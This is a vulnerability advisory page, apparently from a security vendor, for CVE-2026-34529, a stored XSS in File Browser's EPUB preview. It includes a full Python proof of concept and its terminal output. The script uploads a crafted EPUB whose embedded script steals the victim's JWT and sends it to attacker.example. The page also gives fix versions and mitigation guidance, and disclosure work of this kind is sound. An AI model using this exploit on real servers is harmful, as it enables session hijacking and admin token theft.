CVE-2026-34529 — v2
HIGHCVE-2026-34529 is a high-severity (CVSS 7.6) Cross-site Scripting (XSS) vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.
File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-34529.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-34529 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.
Details
frontend/src/views/files/Preview.vue passes allowScriptedContent: true to the vue-reader (epub.js) component:
// frontend/src/views/files/Preview.vue (Line 87)
:epubOptions="{
allowPopups: true,
allowScriptedContent: true,
}"
epub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which renders the sandbox ineffective — the script can access the parent frame's DOM and storage.
The epub.js developers explicitly warn against enabling scripted content.
PoC
I've crafted the PoC python script that could be ran on test environment using docker compose:
services:
filebrowser:
image: filebrowser/filebrowser:v2.62.1
user: 0:0
ports:
- "80:80"
And running this PoC python script:
import argparse
import io
import sys
import zipfile
import requests
BANNER = """
Stored XSS via EPUB PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
Related: CVE-2024-35236 (same pattern in audiobookshelf)
"""
CONTAINER_XML = """<?xml version="1.0" encoding="UTF-8"?>
<container version="1.0" xmlns="urn:oasis:names:tc:opendocument:xmlns:container">
<rootfiles>
<rootfile full-path="OEBPS/content.opf" media-type="application/oebps-package+xml"/>
</rootfiles>
</container>"""
CONTENT_OPF = """<?xml version="1.0" encoding="UTF-8"?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="uid" version="3.0">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/">
<dc:identifier id="uid">poc-xss-epub-001</dc:identifier>
<dc:title>Security Test Document</dc:title>
<dc:language>en</dc:language>
<meta property="dcterms:modified">2025-01-01T00:00:00Z</meta>
</metadata>
<manifest>
<item id="chapter1" href="chapter1.xhtml" media-type="application/xhtml+xml"/>
<item id="nav" href="nav.xhtml" media-type="application/xhtml+xml" properties="nav"/>
</manifest>
<spine>
<itemref idref="chapter1"/>
</spine>
</package>"""
NAV_XHTML = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
<head><title>Navigation</title></head>
<body>
<nav epub:type="toc">
<ol><li><a href="chapter1.xhtml">Chapter 1</a></li></ol>
</nav>
</body>
</html>"""
XSS_CHAPTER = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Chapter 1</title></head>
<body>
<h1>Security Test Document</h1>
<p>This document tests EPUB script execution in File Browser.</p>
<p id="xss-proof" style="color: red; font-weight: bold;">Waiting...</p>
<p id="ip-proof" style="color: orange; font-weight: bold;">Fetching IP...</p>
<script>
var out = document.getElementById("xss-proof");
var ipOut = document.getElementById("ip-proof");
var jwt = "not-found";
try { jwt = window.parent.localStorage.getItem("jwt"); } catch(e) { jwt = "error: " + e.message; }
out.innerHTML = "XSS OK" + String.fromCharCode(60) + "br/" + String.fromCharCode(62) + "JWT: " + jwt;
fetch("https://ifconfig.me/ip").then(function(r){ return r.text(); }).then(function(ip){
ipOut.textContent = "Victim public IP: " + ip.trim();
}).catch(function(e){
ipOut.textContent = "IP fetch failed: " + e.message;
});
var img = new Image();
img.src = "https://attacker.example/?stolen=" + encodeURIComponent(jwt);
</script>
</body>
</html>"""
def login(base: str, username: str, password: str) -> str:
r = requests.post(f"{base}/api/login",
json={"username": username, "password": password},
timeout=10)
if r.status_code != 200:
print(f"[-] Login failed: {r.status_code}")
sys.exit(1)
return r.text.strip('"')
def build_epub() -> bytes:
"""Build a minimal EPUB 3 file with embedded JavaScript."""
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr("mimetype", "application/epub+zip", compress_type=zipfile.ZIP_STORED)
zf.writestr("META-INF/container.xml", CONTAINER_XML)
zf.writestr("OEBPS/content.opf", CONTENT_OPF)
zf.writestr("OEBPS/nav.xhtml", NAV_XHTML)
zf.writestr("OEBPS/chapter1.xhtml", XSS_CHAPTER)
return buf.getvalue()
def main():
print(BANNER)
ap = argparse.ArgumentParser(
formatter_class=argparse.RawDescriptionHelpFormatter,
description="Stored XSS via malicious EPUB PoC",
epilog="""examples:
%(prog)s -t http://localhost:8080 -u admin -p admin
%(prog)s -t http://target.com/filebrowser -u user -p pass
root cause:
frontend/src/views/files/Preview.vue passes
epubOptions: { allowScriptedContent: true } to the vue-reader
(epub.js) component. The iframe sandbox includes allow-scripts
and allow-same-origin, which lets the script access the parent
frame's localStorage and make arbitrary network requests.
impact:
Session hijacking, privilege escalation, data exfiltration.
A low-privilege user with upload access can steal admin tokens.""",
)
ap.add_argument("-t", "--target", required=True,
help="Base URL of File Browser (e.g. http://localhost:8080)")
ap.add_argument("-u", "--user", required=True,
help="Username to authenticate with")
ap.add_argument("-p", "--password", required=True,
help="Password to authenticate with")
if len(sys.argv) == 1:
ap.print_help()
sys.exit(1)
args = ap.parse_args()
base = args.target.rstrip("/")
print()
print("[*] ATTACK BEGINS...")
print("====================")
print(f" [1] Authenticating to {base}")
token = login(base, args.user, args.password)
print(f" Logged in as: {args.user}")
print(f"\n [2] Building malicious EPUB")
epub_data = build_epub()
print(f" EPUB size: {len(epub_data)} bytes")
upload_path = "/poc_xss_test.epub"
print(f"\n [3] Uploading to {upload_path}")
requests.delete(f"{base}/api/resources{upload_path}",
headers={"X-Auth": token}, timeout=10)
r = requests.post(
f"{base}/api/resources{upload_path}?override=true",
data=epub_data,
headers={
"X-Auth": token,
"Content-Type": "application/epub+zip",
},
timeout=30
)
if r.status_code in (200, 201, 204):
print(f" Upload OK ({r.status_code})")
else:
print(f" Upload FAILED: {r.status_code} {r.text[:200]}")
sys.exit(1)
preview_url = f"{base}/files{upload_path}"
print(f"\n [4] Done")
print(f" Preview URL: {preview_url}")
print("====================")
print()
print()
print(f"Open the URL above in a browser. You should see:")
print(f" - Red text: \"XSS OK\" + stolen JWT token")
print(f" - Orange text: victim's public IP (via ifconfig.me)")
print()
print(f"NOTE: alert() is blocked by iframe sandbox (no allow-modals).")
print(f"The attack is silent — JWT theft and network exfiltration work.")
if __name__ == "__main__":
main()
And terminal output:
root@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t
Stored XSS via EPUB PoC
Affected: filebrowser/filebrowser <=v2.62.1
Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }
Related: CVE-2024-35236 (same pattern in audiobookshelf)
[*] ATTACK BEGINS...
====================
[1] Authenticating to http://localhost
Logged in as: admin
[2] Building malicious EPUB
EPUB size: 1927 bytes
[3] Uploading to /poc_xss_test.epub
Upload OK (200)
[4] Done
Preview URL: http://localhost/files/poc_xss_test.epub
====================
Open the URL above in a browser. You should see:
- Red text: "XSS OK" + stolen JWT token
- Orange text: victim's public IP (via ifconfig.me)
NOTE: alert() is blocked by iframe sandbox (no allow-modals).
The attack is silent — JWT theft and network exfiltration work.
Impact
- JWT token theft — full session hijacking
- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.62.2go get github.com/filebrowser/filebrowser/v2@v2.62.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.62.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-34529 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-34529 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-34529. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-34529 in your dependencies?
O3 Security finds CVE-2026-34529 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.